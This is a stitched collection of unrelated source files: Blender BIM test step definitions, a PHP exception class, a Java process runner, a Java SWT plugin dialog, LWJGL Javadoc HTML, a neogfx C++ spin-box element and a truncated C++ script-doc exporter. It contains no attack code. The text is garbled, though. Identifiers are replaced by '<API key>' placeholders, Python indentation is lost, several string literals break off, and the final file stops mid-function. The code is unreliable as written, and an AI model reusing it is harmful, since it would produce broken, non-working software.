obj = <API key>(name1)
for modifier in obj.modifiers:
if modifier.type == "BOOLEAN" and modifier.object and modifier.object.name == name2:
return True
assert False, "No boolean found"
def <API key>(name1, name2):
obj = <API key>(name1)
for modifier in obj.modifiers:
if modifier.type == "BOOLEAN" and modifier.object and modifier.object.name == name2:
assert False, "A boolean was found"
def <API key>(name, void):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
for rel in element.HasOpenings:
if rel.<API key>.Name == void:
return True
assert False, "No void found"
def <API key>(name, void):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
for rel in element.HasOpenings:
if rel.<API key>.Name == void:
assert False, "A void was found"
def <API key>(name):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
if any(element.HasOpenings):
assert False, "An opening was found"
def <API key>(name):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
if any(element.VoidsElements):
assert False, "A void was found"
def <API key>(name, filling):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
if any(rel.<API key>.Name == filling for rel in element.HasFillings):
return True
assert False, "No filling found"
def <API key>(name, filling):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
if any(rel.<API key>.Name == filling for rel in element.HasFillings):
assert False, "A filling was found"
def <API key>(name):
ifc = IfcStore.get_file()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
if any(element.FillsVoids):
assert False, "A filling was found"
def <API key>(name, mode):
assert <API key>(name).display_type == mode
def <API key>(name, number):
total = len(<API key>(name).data.vertices)
assert total == int(number), f"We found {total} vertices"
def <API key>(name, location):
obj_location = <API key>(name).location
assert (
obj_location - Vector([float(co) for co in location.split(",")])
).length < 0.1, f"Object is at {obj_location}"
def <API key>(key, value):
variables[key] = eval(value)
definitions = {
'the variable "(.*)" is "(.*)"': <API key>,
"an empty IFC project": <API key>,
"I add a cube": i_add_a_cube,
'I add a cube of size "([0-9]+)" at "(.*)"': <API key>,
'the object "(.*)" is selected': <API key>,
'additionally the object "(.*)" is selected': <API key>,
"I deselect all objects": <API key>,
'I am on frame "([0-9]+)"': <API key>,
'I set "(.*)" to "(.*)"': i_set_prop_to_value,
'"(.*)" is "(.*)"': prop_is_value,
'I enable "(.*)"': i_enable_prop,
'I press "(.*)"': i_press_operator,
'I rename the object "(.*)" to "(.*)"': <API key>,
'the object "(.*)" exists': <API key>,
'the object "(.*)" does not exist': <API key>,
'the object "(.*)" is an "(.*)"': <API key>,
'the object "(.*)" is not an IFC element': <API key>,
'the object "(.*)" is in the collection "(.*)"': <API key>,
'the object "(.*)" is not in the collection "(.*)"': <API key>,
'the object "(.*)" has a body of "(.*)"': <API key>,
'the collection "(.*)" is in the collection "(.*)"': <API key>,
'the collection "(.*)" is not in the collection "(.*)"': <API key>,
"an IFC file exists": an_ifc_file_exists,
"an IFC file does not exist": <API key>,
'the object "(.*)" has a "(.*)" representation of "(.*)"': <API key>,
'the object "(.*)" is placed in the collection "(.*)"': <API key>,
'the object "(.*)" is contained in "(.*)"': <API key>,
"I duplicate the selected objects": <API key>,
"I delete the selected objects": <API key>,
'the object "(.*)" and "(.*)" are different elements': <API key>,
'the file "(.*)" should contain "(.*)"': <API key>,
'the object "(.*)" has a boolean difference by "(.*)"': <API key>,
'the object "(.*)" has no boolean difference by "(.*)"': <API key>,
'the object "(.*)" is voided by "(.*)"': <API key>,
'the object "(.*)" is not voided by "(.*)"': <API key>,
'the object "(.*)" is not a void': <API key>,
'the object "(.*)" is not voided': <API key>,
'the object "(.*)" should display as "(.*)"': <API key>,
'the object "(.*)" has "([0-9]+)" vertices': <API key>,
'the object "(.*)" is at "(.*)"': <API key>,
"nothing interesting happens": lambda: None,
'the void "(.*)" is filled by "(.*)"': <API key>,
'the void "(.*)" is not filled by "(.*)"': <API key>,
'the object "(.*)" is not a filling': <API key>,
}
# Super lightweight Gherkin implementation
def run(scenario):
keywords = ["Given", "When", "Then", "And", "But"]
for line in scenario.split("\n"):
for key, value in variables.items():
line = line.replace("{" + key + "}", str(value))
for keyword in keywords:
line = line.replace(keyword, "")
line = line.strip()
if not line:
continue
match = None
for definition, callback in definitions.items():
match = re.search("^" + definition + "$", line)
if match:
try:
callback(*match.groups())
except AssertionError as e:
assert False, f"Failed: {line}, with error: {e}"
break
if not match:
assert False, f"Definition not implemented: {line}"
return True
def run_debug(scenario, blend_filepath=None):
try:
result = run(scenario)
except Exception as e:
if blend_filepath:
bpy.ops.wm.save_as_mainfile(filepath=blend_filepath)
assert False, e
if blend_filepath:
bpy.ops.wm.save_as_mainfile(filepath=blend_filepath)
return result
|
<?php
namespace page\model;
use n2n\util\ex\err\FancyErrorException;
class PageErrorException extends FancyErrorException {
}
|
package org.orchestra.sm;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Runner {
private final Logger logger = LoggerFactory.getLogger(Runner.class);
private List<String> command = new ArrayList<String>();
private Map<String, String> env;
private String workDir;
private Process process;
public Map<String, String> getEnv() {
return env;
}
public void setEnv(Map<String, String> env) {
this.env = env;
}
public Runner(String command, List<String> args) {
this.command.add(command);
if(args != null) this.command.addAll(args);
}
public Runner(String command, List<String> args, Map<String, String> env) {
this.command.add(command);
if(args != null) this.command.addAll(args);
this.env = env;
}
public Runner(String command, List<String> args, Map<String, String> env, String workDir) {
this.command.add(command);
if(args != null) this.command.addAll(args);
this.env = env;
this.workDir = workDir;
}
public int run(String arg) throws IOException, <API key> {
List<String> cmd = new ArrayList<String>(command);
if(arg != null) cmd.add(arg);
new StringBuffer();
ProcessBuilder pb = new ProcessBuilder(cmd);
if(env != null) pb.environment().putAll(env);
if(workDir != null) pb.directory(new File(workDir));
logger.debug("Environment variables:");
for(Entry<String, String> e : pb.environment().entrySet()) {
logger.debug(e.getKey() + "=" + e.getValue());
}
process = pb.start();
return process.waitFor();
}
public InputStream getInputStream() {
return process.getInputStream();
}
public BufferedReader getSystemOut() {
BufferedReader input =
new BufferedReader(new InputStreamReader(process.getInputStream()));
return input;
}
public BufferedReader getSystemError() {
BufferedReader error =
new BufferedReader(new InputStreamReader(process.getErrorStream()));
return error;
}
public void setStandardInput(String filename) {
}
}
|
package org.datacleaner.kettle.ui;
import java.util.ArrayList;
import java.util.List;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.DisposeEvent;
import org.eclipse.swt.events.DisposeListener;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.layout.FormAttachment;
import org.eclipse.swt.layout.FormData;
import org.eclipse.swt.layout.FormLayout;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Event;
import org.eclipse.swt.widgets.Group;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Listener;
import org.eclipse.swt.widgets.MessageBox;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
import org.pentaho.di.core.Const;
import org.pentaho.di.core.plugins.JobEntryPluginType;
import org.pentaho.di.core.plugins.PluginRegistry;
import org.pentaho.di.job.JobMeta;
import org.pentaho.di.job.entry.<API key>;
import org.pentaho.di.job.entry.JobEntryInterface;
import org.pentaho.di.repository.Repository;
import org.pentaho.di.ui.core.gui.GUIResource;
import org.pentaho.di.ui.job.entry.JobEntryDialog;
import org.pentaho.di.ui.trans.step.BaseStepDialog;
import plugin.DataCleanerJobEntry;
public abstract class <API key> extends JobEntryDialog implements
<API key>,
DisposeListener {
private final String initialJobName;
private Text jobNameField;
private Button okButton;
private Button cancelButton;
private List<Object> resources = new ArrayList<Object>();
public <API key>(Shell parent, JobEntryInterface jobEntry, Repository rep, JobMeta jobMeta) {
super(parent, jobEntry, rep, jobMeta);
initialJobName = (jobEntry.getName() == null ? DataCleanerJobEntry.NAME : jobEntry.getName());
}
protected void initializeShell(Shell shell) {
String id = PluginRegistry.getInstance().getPluginId(JobEntryPluginType.class, jobMeta);
if (id != null) {
shell.setImage(GUIResource.getInstance().getImagesStepsSmall().get(id));
}
}
/**
* @wbp.parser.entryPoint
*/
@Override
public final JobEntryInterface open() {
final Shell parent = getParent();
final Display display = parent.getDisplay();
// initialize shell
{
shell = new Shell(parent, SWT.DIALOG_TRIM | SWT.RESIZE | SWT.MIN | SWT.MAX);
initializeShell(shell);
FormLayout shellLayout = new FormLayout();
shellLayout.marginTop = 0;
shellLayout.marginLeft = 0;
shellLayout.marginRight = 0;
shellLayout.marginBottom = 0;
shellLayout.marginWidth = 0;
shellLayout.marginHeight = 0;
shell.setLayout(shellLayout);
shell.setText(DataCleanerJobEntry.NAME + ": " + initialJobName);
}
final int middle = Const.MIDDLE_PCT;
final int margin = Const.MARGIN;
// DC banner
final DataCleanerBanner banner = new DataCleanerBanner(shell);
{
final FormData bannerLayoutData = new FormData();
bannerLayoutData.left = new FormAttachment(0, 0);
bannerLayoutData.right = new FormAttachment(100, 0);
bannerLayoutData.top = new FormAttachment(0, 0);
banner.setLayoutData(bannerLayoutData);
}
// Step name
{
final Label stepNameLabel = new Label(shell, SWT.RIGHT);
stepNameLabel.setText("Step name:");
final FormData <API key> = new FormData();
<API key>.left = new FormAttachment(0, margin);
<API key>.right = new FormAttachment(middle, -margin);
<API key>.top = new FormAttachment(banner, margin * 2);
stepNameLabel.setLayoutData(<API key>);
jobNameField = new Text(shell, SWT.SINGLE | SWT.LEFT | SWT.BORDER);
jobNameField.setText(initialJobName);
final FormData <API key> = new FormData();
<API key>.left = new FormAttachment(middle, 0);
<API key>.right = new FormAttachment(100, -margin);
<API key>.top = new FormAttachment(banner, margin * 2);
jobNameField.setLayoutData(<API key>);
}
// Properties Group
final Group propertiesGroup = new Group(shell, SWT.SHADOW_ETCHED_IN);
propertiesGroup.setText("Step configuration");
final FormData <API key> = new FormData();
<API key>.left = new FormAttachment(0, margin);
<API key>.right = new FormAttachment(100, -margin);
<API key>.top = new FormAttachment(jobNameField, margin);
propertiesGroup.setLayoutData(<API key>);
final GridLayout <API key> = new GridLayout(2, false);
propertiesGroup.setLayout(<API key>);
<API key>(propertiesGroup, margin, middle);
okButton = new Button(shell, SWT.PUSH);
Image saveImage = new Image(shell.getDisplay(), <API key>.class.getResourceAsStream("save.png"));
resources.add(saveImage);
okButton.setImage(saveImage);
okButton.setText("OK");
okButton.addListener(SWT.Selection, new Listener() {
@Override
public void handleEvent(Event event) {
ok();
final String jobEntryName = jobNameField.getText();
if (jobEntryName != null && jobEntryName.length() > 0 && !initialJobName.equals(jobEntryName)) {
jobEntryInt.setName(jobEntryName);
}
jobEntryInt.setChanged();
shell.close();
}
});
cancelButton = new Button(shell, SWT.PUSH);
Image cancelImage =
new Image(shell.getDisplay(), <API key>.class.getResourceAsStream("cancel.png"));
resources.add(cancelImage);
cancelButton.setImage(cancelImage);
cancelButton.setText("Cancel");
cancelButton.addListener(SWT.Selection, new Listener() {
@Override
public void handleEvent(Event arg0) {
cancel();
jobNameField.setText("");
shell.close();
}
});
BaseStepDialog.<API key>(shell, new Button[] { okButton, cancelButton }, margin, propertiesGroup);
// HI banner
final DataCleanerFooter footer = new DataCleanerFooter(shell);
{
final FormData footerLayoutData = new FormData();
footerLayoutData.left = new FormAttachment(0, 0);
footerLayoutData.right = new FormAttachment(100, 0);
footerLayoutData.top = new FormAttachment(okButton, margin * 2);
footer.setLayoutData(footerLayoutData);
}
shell.addDisposeListener(this);
shell.setSize(getDialogSize());
// center the dialog in the middle of the screen
final Rectangle screenSize = shell.getDisplay().getPrimaryMonitor().getBounds();
shell.setLocation((screenSize.width - shell.getBounds().width) / 2,
(screenSize.height - shell.getBounds().height) / 2);
shell.pack();
shell.open();
while (!shell.isDisposed()) {
if (!display.readAndDispatch()) {
display.sleep();
}
}
return jobEntryInt;
}
@Override
public void widgetDisposed(DisposeEvent event) {
for (Object resource : resources) {
if (resource instanceof Image) {
((Image) resource).dispose();
}
}
}
protected Point getDialogSize() {
Point clientAreaSize = shell.computeSize(SWT.DEFAULT, SWT.DEFAULT);
int frameX = shell.getSize().x - shell.getClientArea().width;
int frameY = shell.getSize().y - shell.getClientArea().height;
return new Point(frameX + clientAreaSize.x, frameY + clientAreaSize.y);
}
protected abstract void <API key>(Group propertiesGroup, int margin, int middle);
public void cancel() {
// do nothing
}
public abstract void ok();
protected void showWarning(String message) {
MessageBox messageBox = new MessageBox(new Shell(), SWT.ICON_WARNING | SWT.OK);
messageBox.setText("EasyDataQuality - Warning");
messageBox.setMessage(message);
messageBox.open();
}
protected String getStepDescription() {
return null;
}
}
|
<!DOCTYPE HTML PUBLIC "-
<!--NewPage
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_26) on Sun Dec 22 15:55:34 GMT 2013 -->
<TITLE>
NVDeepTexture3D (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2013-12-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="NVDeepTexture3D (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<A NAME="navbar_top"></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/NVDeepTexture3D.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengl/NVCopyImage.html" title="class in org.lwjgl.opengl"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengl/NVDepthBufferFloat.html" title="class in org.lwjgl.opengl"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengl/NVDeepTexture3D.html" target="_top"><B>FRAMES</B></A>
<A HREF="NVDeepTexture3D.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#<API key>.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<HR>
<H2>
<FONT SIZE="-1">
org.lwjgl.opengl</FONT>
<BR>
Class NVDeepTexture3D</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.lwjgl.opengl.NVDeepTexture3D</B>
</PRE>
<HR>
<DL>
<DT><PRE>public final class <B>NVDeepTexture3D</B><DT>extends java.lang.Object</DL>
</PRE>
<P>
<HR>
<P>
<A NAME="field_summary"></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Field Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengl/NVDeepTexture3D.html#<API key>"><API key></A></B></CODE>
<BR>
Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengl/NVDeepTexture3D.html#<API key>"><API key></A></B></CODE>
<BR>
Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:</TD>
</TR>
</TABLE>
<A NAME="method_summary"></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
</TABLE>
<A NAME="<API key>.lang.Object"></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="<API key>">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<A NAME="field_detail"></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Field Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="<API key>"></A><H3>
<API key></H3>
<PRE>
public static final int <B><API key></B></PRE>
<DL>
<DD>Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengl.NVDeepTexture3D.<API key>">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="<API key>"></A><H3>
<API key></H3>
<PRE>
public static final int <B><API key></B></PRE>
<DL>
<DD>Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengl.NVDeepTexture3D.<API key>">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="navbar_bottom"></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="<API key>"></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/NVDeepTexture3D.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengl/NVCopyImage.html" title="class in org.lwjgl.opengl"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengl/NVDepthBufferFloat.html" title="class in org.lwjgl.opengl"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengl/NVDeepTexture3D.html" target="_top"><B>FRAMES</B></A>
<A HREF="NVDeepTexture3D.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#<API key>.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<HR>
<i>Copyright &
</BODY>
</HTML>
|
// spin_box.hpp
#pragma once
#include <neogfx/neogfx.hpp>
#include <neogfx/gui/widget/spin_box.hpp>
#include <neogfx/tools/nrc/ui_element.hpp>
namespace neogfx::nrc
{
template <typename T, ui_element_type SpinBoxType>
class basic_spin_box : public ui_element<>
{
public:
basic_spin_box(const i_ui_element_parser& aParser, i_ui_element& aParent) :
ui_element<>{ aParser, aParent, SpinBoxType }
{
add_header("neogfx/gui/widget/spin_box.hpp");
add_data_names({ "minimum", "maximum", "step", "value" });
}
public:
void parse(const neolib::i_string& aName, const data_t& aData) override
{
ui_element<>::parse(aName, aData);
if (aName == "minimum")
iMinimum = get_scalar<T>(aData);
else if (aName == "maximum")
iMaximum = get_scalar<T>(aData);
else if (aName == "step")
iStep = get_scalar<T>(aData);
else if (aName == "value")
iValue = get_scalar<T>(aData);
}
void parse(const neolib::i_string& aName, const array_data_t& aData) override
{
ui_element<>::parse(aName, aData);
}
protected:
void emit() const override
{
}
void emit_preamble() const override
{
emit(" %1% %2%;\n", type_name(), id());
ui_element<>::emit_preamble();
}
void emit_ctor() const override
{
ui_element<>::emit_generic_ctor();
ui_element<>::emit_ctor();
}
void emit_body() const override
{
ui_element<>::emit_body();
if (iMinimum)
emit(" %1%.set_minimum(%2%);\n", id(), *iMinimum);
if (iMaximum)
emit(" %1%.set_maximum(%2%);\n", id(), *iMaximum);
if (iStep)
emit(" %1%.set_step(%2%);\n", id(), *iStep);
if (iMinimum)
emit(" %1%.set_value(%2%);\n", id(), *iValue);
}
protected:
using ui_element<>::emit;
private:
neolib::optional<T> iMinimum;
neolib::optional<T> iMaximum;
neolib::optional<T> iStep;
neolib::optional<T> iValue;
};
typedef basic_spin_box<int32_t, ui_element_type::SpinBox> spin_box;
typedef basic_spin_box<double, ui_element_type::DoubleSpinBox> double_spin_box;
}
|
#include "precompiled_game.h"
#pragma hdrstop
static bool versioned = <API key>( "$Id$" );
#include "Script_Doc_Export.h"
#include "../pugixml/pugixml.hpp"
namespace {
inline void Write( idFile &out, const idStr &str ) {
out.Write( str.c_str(), str.Length() );
}
inline void Writeln( idFile &out, const idStr &str ) {
out.Write( ( str + "\n" ).c_str(), str.Length() + 1 );
}
idStr <API key>( const idEventDef &ev ) {
idStr out;
static const char *gen = "<API key>";
int g = 0;
const EventArgs &args = ev.GetArgs();
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
out += out.IsEmpty() ? "" : ", ";
idTypeDef *type = idCompiler::GetTypeForEventArg( i->type );
// Use a generic variable name "a", "b", "c", etc. if no name present
out += va( "%s %s", type->Name(), strlen( i->name ) > 0 ? i->name : idStr( gen[g++] ).c_str() );
}
return out;
}
inline bool EventIsPublic( const idEventDef &ev ) {
const char *eventName = ev.GetName();
if( eventName != NULL && ( eventName[0] == '<' || eventName[0] == '_' ) ) {
return false; // ignore all event names starting with '<', these mark internal events
}
const char *argFormat = ev.GetArgFormat();
int numArgs = strlen( argFormat );
// Check if any of the argument types is invalid before allocating anything
for( int arg = 0; arg < numArgs; ++arg ) {
idTypeDef *argType = idCompiler::GetTypeForEventArg( argFormat[arg] );
if( argType == NULL ) {
return false;
}
}
return true;
}
idList<idTypeInfo *> GetRespondingTypes( const idEventDef &ev ) {
idList<idTypeInfo *> tempList;
int numTypes = idClass::GetNumTypes();
for( int i = 0; i < numTypes; ++i ) {
idTypeInfo *info = idClass::GetType( i );
if( info->RespondsTo( ev ) ) {
tempList.Append( info );
}
}
idList<idTypeInfo *> finalList;
// Remove subclasses from the list, only keep top-level nodes
for( int i = 0; i < tempList.Num(); ++i ) {
bool isSubclass = false;
for( int j = 0; j < tempList.Num(); ++j ) {
if( i == j ) {
continue;
}
if( tempList[i]->IsType( *tempList[j] ) ) {
isSubclass = true;
break;
}
}
if( !isSubclass ) {
finalList.Append( tempList[i] );
}
}
return finalList;
}
int <API key>( idTypeInfo *const *a, idTypeInfo *const *b ) {
return idStr::Cmp( ( *a )->classname, ( *b )->classname );
}
}
<API key>::<API key>() {
for( int i = 0; i < idEventDef::NumEventCommands(); ++i ) {
const idEventDef *def = idEventDef::GetEventCommand( i );
_events[std::string( def->GetName() )] = def;
}
time_t timer = time( NULL );
struct tm *t = localtime( &timer );
_dateStr = va( "%04u-%02u-%02u %02u:%02u", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday, t->tm_hour, t->tm_min );
}
idStr <API key>::<API key>( const idEventDef &ev ) {
idStr out = "/**\n";
out += " * ";
// Format line breaks in the description
idStr desc( ev.GetDescription() );
desc.Replace( "\n", "\n * " );
out += desc;
const EventArgs &args = ev.GetArgs();
idStr argDesc;
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
if( idStr::Length( i->desc ) == 0 ) {
continue;
}
// Format line breaks in the description
idStr desc( i->desc );
desc.Replace( "\n", "\n * " );
argDesc += va( "\n * @%s: %s", i->name, desc.c_str() );
}
if( !argDesc.IsEmpty() ) {
out += "\n * ";
out += argDesc;
}
out += "\n */";
return out;
}
void <API key>::WriteDoc( idFile &out ) {
Write( out, "#ifndef __TDM_EVENTS__\n" );
Write( out, "#define __TDM_EVENTS__\n\n" );
Write( out, "\n" );
Write( out, "
Write( out, "
Write( out, "#if 0\n" );
Write( out, "\n" );
Write( out, "\n" );
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef &ev = *i->second;
if( !EventIsPublic( ev ) ) {
continue;
}
idTypeDef *returnType = idCompiler::GetTypeForEventArg( ev.GetReturnType() );
idStr signature = <API key>( ev );
idStr documentation = <API key>( ev );
idStr outStr = va( "\n%s\nscriptEvent %s\t\t%s(%s);\n",
documentation.c_str(), returnType->Name(), ev.GetName(), signature.c_str() );
Write( out, outStr );
}
Write( out, "\n" );
Write( out, "#endif\n" );
Write( out, "\n" );
Write( out, "\n\n#endif\n" );
}
idStr <API key>::GetEventDescription( const idEventDef &ev ) {
idStr out = ":";
// Format line breaks in the description
